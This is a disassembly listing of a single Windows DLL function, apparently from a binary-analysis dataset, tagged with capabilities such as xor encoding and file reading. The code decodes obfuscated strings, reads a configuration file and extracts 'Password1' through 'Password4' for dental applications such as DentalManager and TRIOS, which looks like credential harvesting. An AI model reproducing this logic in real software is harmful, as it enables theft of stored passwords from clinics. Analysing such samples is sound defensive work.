Function at 0x18001b1a0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov rax, rsp
push rbp
push rbx
push rdi
lea rbp, [rax - 0x218]
sub rsp, 0x300
xor edi, edi
mov qword [rax - 0x20], r14
lea rdx, [0x18003a5f0]
mov qword [rsp + 0x40], rdi
lea rcx, [rbp - 0x20]
mov dword [rsp + 0x48], edi
mov qword [rax - 0x28], r15
call fcn.18000b440
movabs rax, 0x5b6a977e65779466
movabs r15, 0x549a2d1f135dad7a
mov qword [rsp + 0x78], rax
mov r10d, edi
movabs rax, 0x50c16c945c509409
mov r11, r15
mov qword [rbp - 0x80], rax
movabs rax, 0x42d5b2e970025151
mov qword [rbp - 0x78], rax
mov rax, qword [rsp + r10*8 + 0x78]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rsp + r10*8 + 0x78], rdx
inc r10
cmp r10, 3
jb 0x18001b212
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x20]
call fcn.18000b000
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rbp - 0x20]
mov dword [rsp + 0x28], 0x8000080
mov edx, 0x80000000
lea r8d, [r9 + 3]
mov dword [rsp + 0x20], r8d
cmp byte [rbp - 0x1f], dil
jne 0x18001b294
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x18001b29a
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x328], rsi
mov r14, rax
mov qword [rsp + 0x338], r13
cmp rax, 0xffffffffffffffff
je 0x18001b409
xor edx, edx
mov dword [rbp + 0x220], edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov eax, dword [rsp + 0x48]
and eax, 0x1fffffff
cmp esi, eax
jbe 0x18001b2ee
mov r8d, esi
lea rcx, [rsp + 0x40]
sub r8d, eax
mov dl, 0x20
call fcn.1800107b0
jmp 0x18001b3df
je 0x18001b3df
mov edx, esi
cmp esi, 0x1fffffff
jbe 0x18001b343
mov edx, edi
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jne 0x18001b39e
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
lea ebx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
jmp 0x18001b3b2
test esi, esi
je 0x18001b300
cmp qword [rsp + 0x40], rdi
je 0x18001b30e
lea rcx, [rsp + 0x40]
call fcn.18001c540
mov edx, esi
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
mov r13d, eax
cmp ebx, eax
je 0x18001b3b2
mov rbx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r9d, [r13 + 8]
mov r8, rbx
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x40], rax
jmp 0x18001b3b2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [rsp + 0x48]
mov edx, esi
mov eax, ecx
xor eax, esi
and eax, 0x1fffffff
xor ecx, eax
mov dword [rsp + 0x48], ecx
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x18001b3df
mov byte [rsi + rcx], dil
test esi, esi
je 0x18001b400
mov rdx, qword [rsp + 0x40]
lea r9, [rbp + 0x220]
mov r8d, esi
mov qword [rsp + 0x20], rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x48]
test eax, 0x1fffffff
je 0x18001b43b
test eax, eax
lea rdx, [rsp + 0x48]
mov r9b, 0x20
lea rcx, [0x180039f80]
cmovne rdx, qword [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_recv
call fcn.18000ab90
jmp 0x18001baf9
movabs rax, 0x2949f875354eae6e
mov r10, rdi
mov qword [rbp - 0x70], rax
movabs rax, 0x23d000d31a3df92b
mov qword [rbp - 0x68], rax
movabs rax, 0x71899bdf480e7909
mov qword [rbp - 0x60], rax
movabs rax, 0x641297c0b1b82cf6
mov qword [rbp - 0x58], rax
movabs rax, 0x5f3e7db7620975fa
mov qword [rbp - 0x50], rax
movabs rax, 0xc31edf0f3de62f26
mov qword [rbp - 0x48], rax
movabs rax, 0x90c49b232a344a2b
mov qword [rbp - 0x40], rax
movabs rax, 0x597d7a89d28d066
mov qword [rbp - 0x38], rax
movabs rax, 0x3d6dfb720857e25f
mov qword [rbp - 0x30], rax
movabs rax, 0x6cba5c73e7207ed2
mov qword [rbp - 0x28], rax
nop word [rax + rax]
mov rax, qword [rbp + r10*8 - 0x70]
mov r9d, r10d
neg r9d
mov r8, r15
and r9d, 0xf
rol r8, 3
not r8
rol r15, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 - 0x70], rdx
inc r10
cmp r10, 0xa
jb 0x18001b4d0
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x330], r12
lea rcx, [rsp + 0x40]
call fcn.18001bef0
mov ecx, dword [rsp + 0x48]
and ecx, 0x1fffffff
je 0x18001baec
mov dword [rsp + 0x68], edi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x58], 7
cmp ecx, 3
jb 0x18001b659
mov r10, qword [rsp + 0x40]
mov eax, dword [r10]
cmp eax, 0x4e534942
je 0x18001b5e8
and eax, 0x80808080
cmp eax, 0x80808080
jne 0x18001b6b1
lea ebx, [rcx - 4]
add r10, 4
mov eax, ebx
movzx ecx, bl
shr eax, 8
mov r9d, edi
movzx r11d, al
imul r11d, ecx
test ebx, ebx
je 0x18001b5e8
nop dword [rax + rax]
movzx eax, r9b
movzx ecx, r11b
and al, 0x7e
lea r10, [r10 + 1]
movzx r8d, al
imul r8d, ecx
movzx ecx, byte [r10 - 1]
movzx eax, cl
add r8b, r9b
sub al, r8b
add cl, r8b
test r9b, 1
movzx r8d, cl
movzx eax, al
cmove r8d, eax
inc r9d
xor r8b, r11b
not r8b
mov byte [r10 - 1], r8b
cmp r9d, ebx
jb 0x18001b5a0
mov r8d, 4
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.18001a340
mov r9d, dword [rsp + 0x68]
test r9d, r9d
je 0x18001b659
mov r8, qword [rsp + 0x70]
mov rbx, r8
test r8, r8
je 0x18001b659
mov rdx, qword [rbx + 0x10]
test rdx, rdx
je 0x18001b638
lea rcx, str.Applications
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x18001b65c
mov r8, qword [rsp + 0x70]
mov r9d, dword [rsp + 0x68]
lea rdx, [rbx + 0x28]
mov rbx, rdx
cmp rdx, r8
jb 0x18001b659
mov eax, r9d
lea rcx, [rax + rax*4]
lea rax, [r8 + rcx*8]
cmp rdx, rax
jae 0x18001b659
test rdx, rdx
jne 0x18001b614
mov rbx, rdi
cmp dword [rbx + 0x18], edi
je 0x18001b6df
mov rsi, qword [rbx + 0x20]
test rsi, rsi
je 0x18001b6df
nop word [rax + rax]
mov rdx, qword [rsi + 0x10]
test rdx, rdx
je 0x18001b68a
lea rcx, str.DentalManager
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x18001b6cb
mov r8, qword [rbx + 0x20]
lea rdx, [rsi + 0x28]
mov rsi, rdx
cmp rdx, r8
jb 0x18001b6df
mov eax, dword [rbx + 0x18]
lea rcx, [rax + rax*4]
lea rax, [r8 + rcx*8]
cmp rdx, rax
jae 0x18001b6df
test rdx, rdx
jne 0x18001b670
jmp 0x18001b6df
xor r9d, r9d
lea rdx, [rsp + 0x40]
xor r8d, r8d
lea rcx, [rsp + 0x50]
call fcn.18001a640
jmp 0x18001b5fd
lea rdx, str.Password1
mov rcx, rsi
call fcn.18001c4b0
test rax, rax
jne 0x18001b71c
lea rdx, str.Dental_Desktop
mov rcx, rbx
call fcn.18001c4b0
mov rsi, rax
test rax, rax
je 0x18001b70a
lea rdx, str.Password1
mov rcx, rax
call fcn.18001c4b0
test rax, rax
jne 0x18001b725
lea rdx, str.TRIOS
mov rcx, rbx
call fcn.18001c4b0
mov rsi, rax
test rsi, rsi
je 0x18001ba51
lea rdx, str.Password1
mov rcx, rsi
call fcn.18001c4b0
lea rdx, str.Password2
mov rcx, rsi
mov r15, rax
call fcn.18001c4b0
lea rdx, str.Password3
mov rcx, rsi
mov r13, rax
call fcn.18001c4b0
lea rdx, str.Password4
mov rcx, rsi
mov r12, rax
call fcn.18001c4b0
mov qword [rbp + 0x220], rax
test r15, r15
je 0x18001ba51
test r13, r13
je 0x18001ba51
test r12, r12
je 0x18001ba51
test rax, rax
je 0x18001ba51
mov r15, qword [r15 + 0x20]
test r15, r15
jne 0x18001b7ea
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jne 0x18001b7dc
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
lea ebx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [r15 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x18001b947
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
jmp 0x18001b93c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r14, eax
mov esi, edi
cmp r14d, 0x1fffffff
cmovbe esi, r14d
test esi, esi
je 0x18001b85f
cmp qword [rsp + 0x40], rdi
je 0x18001b869
lea rcx, [rsp + 0x40]
call fcn.18001c540
mov edx, esi
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
mov esi, eax
cmp ebx, eax
je 0x18001b858
mov rbx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r9d, [rsi + 8]
mov r8, rbx
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x18001b899
mov rsi, qword [rsp + 0x40]
jmp 0x18001b8a1
mov rbx, qword [rsp + 0x40]
test rbx, rbx
jne 0x18001b8e0
mov edx, esi
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
lea ebx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
mov rsi, rax
test rsi, rsi
je 0x18001b901
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.180008d30
mov ecx, dword [rsp + 0x48]
mov edx, r14d
mov eax, ecx
xor eax, r14d
and eax, 0x1fffffff
xor ecx, eax
mov dword [rsp + 0x48], ecx
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
mov rax, qword [rsp + 0x40]
mov byte [r14 + rax], dil
jmp 0x18001b950
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x40], rdi
mov rsi, rdi
test rdi, rdi
jne 0x18001b933
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
lea ebx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x18001b947
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], edi
mov rdx, qword [r13 + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1800104d0
mov rdx, qword [r12 + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1800104d0
mov rdx, qword [rbp + 0x220]
lea rcx, [rsp + 0x40]
mov rdx, qword [rdx + 0x20]
call fcn.1800104d0
cmp dword [rsp + 0x48], edi
lea rdx, [rsp + 0x48]
mov r9b, 0x20
lea rcx, [0x180039f80]
cmovne rdx, qword [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_recv
call fcn.18000ab90
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x18001b9ca
sub rax, 4
lea rcx, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x60], rax
call fcn.18000af20
mov qword [rsp + 0x60], rdi
mov eax, dword [rsp + 0x58]
cmp eax, 6
jne 0x18001b9fb
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x18001baf1
sub rax, 4
lea rcx, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x70], rax
call fcn.18000af20
jmp 0x18001baf1
add eax, 0xfffffff9
cmp eax, 1
ja 0x18001baf1
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x18001baf1
mov ebx, edi
cmp dword [rsp + 0x68], ebx
jbe 0x18001ba40
nop dword [rax]
mov eax, ebx
lea rcx, [rax + rax*4]
lea rcx, [rdx + rcx*8]
xor edx, edx
call fcn.180012b50
inc ebx
cmp ebx, dword [rsp + 0x68]
jae 0x18001ba40
mov rdx, qword [rsp + 0x70]
jmp 0x18001ba20
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.18000af20
jmp 0x18001baf1
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x18001ba75
sub rax, 4
lea rcx, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x60], rax
call fcn.18000af20
mov qword [rsp + 0x60], rdi
mov eax, dword [rsp + 0x58]
cmp eax, 6
jne 0x18001ba9f
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x18001baec
sub rax, 4
lea rcx, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x70], rax
call fcn.18000af20
jmp 0x18001baec
add eax, 0xfffffff9
cmp eax, 1
ja 0x18001baec
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x18001baec
cmp dword [rsp + 0x68], edi
jbe 0x18001bae0
nop word [rax + rax]
mov eax, edi
lea rcx, [rax + rax*4]
lea rcx, [rdx + rcx*8]
xor edx, edx
call fcn.180012b50
inc edi
cmp edi, dword [rsp + 0x68]
jae 0x18001bae0
mov rdx, qword [rsp + 0x70]
jmp 0x18001bac0
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.18000af20
mov edi, 0xffffffff
mov r12, qword [rsp + 0x330]
mov rbx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x2f0]
mov r14, qword [rsp + 0x2f8]
mov r13, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x328]
test rbx, rbx
jne 0x18001bb60
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.18002dcf0
lea rcx, [rsp + 0x40]
call fcn.18001c540
lea ebx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov eax, edi
add rsp, 0x300
pop rdi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
add rsp, 0x300
pop rdi
pop rbx
pop rbp
ret